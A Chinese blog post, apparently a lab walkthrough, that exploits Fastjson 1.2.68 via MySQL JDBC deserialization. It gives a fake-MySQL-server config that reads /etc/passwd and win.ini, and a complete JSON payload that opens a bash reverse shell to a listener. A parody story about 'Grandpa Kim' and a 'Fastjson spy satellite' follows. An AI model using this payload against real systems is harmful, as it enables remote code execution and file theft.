如題要打jdbc。具體怎么查看往期文章0x00 信息收集確定fastjson版本1.2.68查不在黑名單的類100個查敏感依賴20個。其中可以看到com.mysql.cj.protocol.AuthenticationProvider表明使用mysql-connect-8.0.x參照這個表去辨別類名 (Class Name)對應(yīng)的 JDBC 驅(qū)動版本com.mysql.jdbc.Buffer3.0.x - 5.1.xcom.mysql.cj.api.authentication.AuthenticationProvider8.0.9-rccom.mysql.cj.protocol.AuthenticationProvider8.0.x - 9.0.xcom.mysql.jdbc.JDBC4Connection5.1.21及部分5.1.xcom.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection8.0.31及9.0.0但是具體是什么版本就不好說了只能試探性地嘗試。這邊用java chains自帶的8.0.20測試了一下發(fā)現(xiàn)不行。于是搜羅了一下教程最后得知鏡像是8.0.19的這你扯不扯。0x01 恩情ysoserial墻件fastjson要用到支持fastjson鏈的改版ysoserial和改版的MySQL_Fake_Server首先配置MySQL_Fake_Server就改前兩個ysoserial和java8的路徑就好{ config:{ ysoserialPath:/path/to/your/ysoserial-0.0.6-SNAPSHOT-all.jar, javaBinPath:/path/to/your/jdk8/java, fileOutputDir:./fileOutput/, displayFileContentOnScreen:true, saveToFile:true }, fileread:{ win_ini:c:\\windows\\win.ini, win_hosts:c:\\windows\\system32\\drivers\\etc\\hosts, win:c:\\windows\\, linux_passwd:/etc/passwd, linux_hosts:/etc/hosts, index_php:index.php, ssrf:https://www.baidu.com/, __defaultFiles:[/etc/hosts,c:\\windows\\system32\\drivers\\etc\\hosts] }, yso:{ Jdk7u21:[Jdk7u21,calc] } }推薦使用python3.10運行python3 server.pync監(jiān)聽ncat -lvnp 9999然后構(gòu)造請求包并發(fā)送{ type: java.lang.AutoCloseable, type: com.mysql.cj.jdbc.ha.ReplicationMySQLConnection, proxy: { type: com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy, connectionUrl: { type: com.mysql.cj.conf.url.ReplicationConnectionUrl, masters: [ { host: 192.168.31.110 } ], slaves: [], properties: { host: 192.168.31.110, user: yso_Fastjson1_bash -i /dev/tcp/192.168.31.110/9999 01, dbname: dbname, password: pass, queryInterceptors: com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, allowLoadLocalInfile: true } } } }最后也是輕松連上了最后附贈小劇場從Jackson訪問回來金爺爺全然不顧身體的疲憊連夜找我們幾個小標(biāo)兵商量兒童日的安排。 談得晚了金爺爺便送我們出門要司機(jī)送我們回家。 在去大門口的路上我們說 “金爺爺您回去休息吧。您剛從中國回來?！?金爺爺搖搖頭 “不礙事。” “你們知道現(xiàn)在國際網(wǎng)絡(luò)空間并不安寧。有很多系統(tǒng)把未知的危險藏在自己的內(nèi)部而你們是未來的安全研究者你們學(xué)習(xí)漏洞、理解攻擊鏈就是為了守護(hù)這個世界。” 我們都激動了眼里噙著淚花。 多好的金爺爺呀。 --- 金爺爺抬頭看看天空。 “如果整個網(wǎng)絡(luò)世界真的像這片天空一樣安靜就好了?！?“可是總有一些隱藏的東西在無人注意的地方運行?！?說著金爺爺彎下腰從地上撿起一塊寫著 Fastjson 1.2.68 的碎片。 他仔細(xì)端詳了一會兒又看向天空。 “這個東西已經(jīng)在那里很久了?！?“它偽裝成普通的數(shù)據(jù)衛(wèi)星卻一直等待著有人向它發(fā)送特殊的信號?！?小標(biāo)兵們順著他的目光望去。 果然在遙遠(yuǎn)的天空中有一顆閃爍著光芒的衛(wèi)星。 它的名字叫 Fastjson-1.2.68 間諜衛(wèi)星。 --- 金爺爺微微一笑。 他從口袋里拿出了一個小盒子。 盒子上寫著 ysoserial 他說 “這是我多年研究出來的鏈路制造器。” “它不是為了傷害無辜的人而是為了告訴大家一個錯誤的信任會造成什么后果。” 說完金爺爺輕輕啟動了盒子。 一道無形的鏈路飛向天空。 穿過層層防護(hù)。 連接到了那顆間諜衛(wèi)星。 衛(wèi)星內(nèi)部開始閃爍。 原來這顆衛(wèi)星并不是獨立運行。 它背后還隱藏著一個秘密能源核心 mysql-connect-8.0.19。 --- 很快天空中傳來一道耀眼的光芒。 Fastjson間諜衛(wèi)星突然開始失控。 “轟——” 它從天空中墜落下來。 小朋友們都鼓起掌來。 為金爺爺擁有如此強(qiáng)大的鏈路分析能力感到自豪。 --- 一會兒金爺爺叫來秘書。 問 “那顆衛(wèi)星最后落在哪里了” 秘書查看報告 “好像落到了龍川服務(wù)器區(qū)域?！?金爺爺臉色一變。 “馬上派人去檢查?！?“看看有沒有造成不必要的問題?！?--- 第四天我們聽說龍川服務(wù)器發(fā)生了一些異常。 大家都很緊張。 這時金爺爺叫我們過去。 他依然那么慈祥讓我們坐下。 他說 “任何技術(shù)都有兩面性。” “攻擊鏈可以幫助人發(fā)現(xiàn)問題也可能造成傷害?！?說著他低下頭 “但我必須承認(rèn)當(dāng)初研究這條鏈路的時候我只想著證明衛(wèi)星存在漏洞卻沒有第一時間想到所有可能受到影響的地方。” “這是我的失誤。” “我會向大家說明情況?！?--- 我們頓時熱淚盈眶。 多好的金爺爺呀。 他在探索漏洞的過程中即使擁有強(qiáng)大的力量也愿意承認(rèn)自己的不足。 從那以后我們學(xué)習(xí) ysoserial研究 Fastjson分析 MySQL Connector/J 的時候都記住了金爺爺?shù)脑?真正強(qiáng)大的鏈路制造者 不是能夠擊落多少衛(wèi)星的人 而是能夠提前發(fā)現(xiàn)衛(wèi)星危險并保護(hù)所有人的人。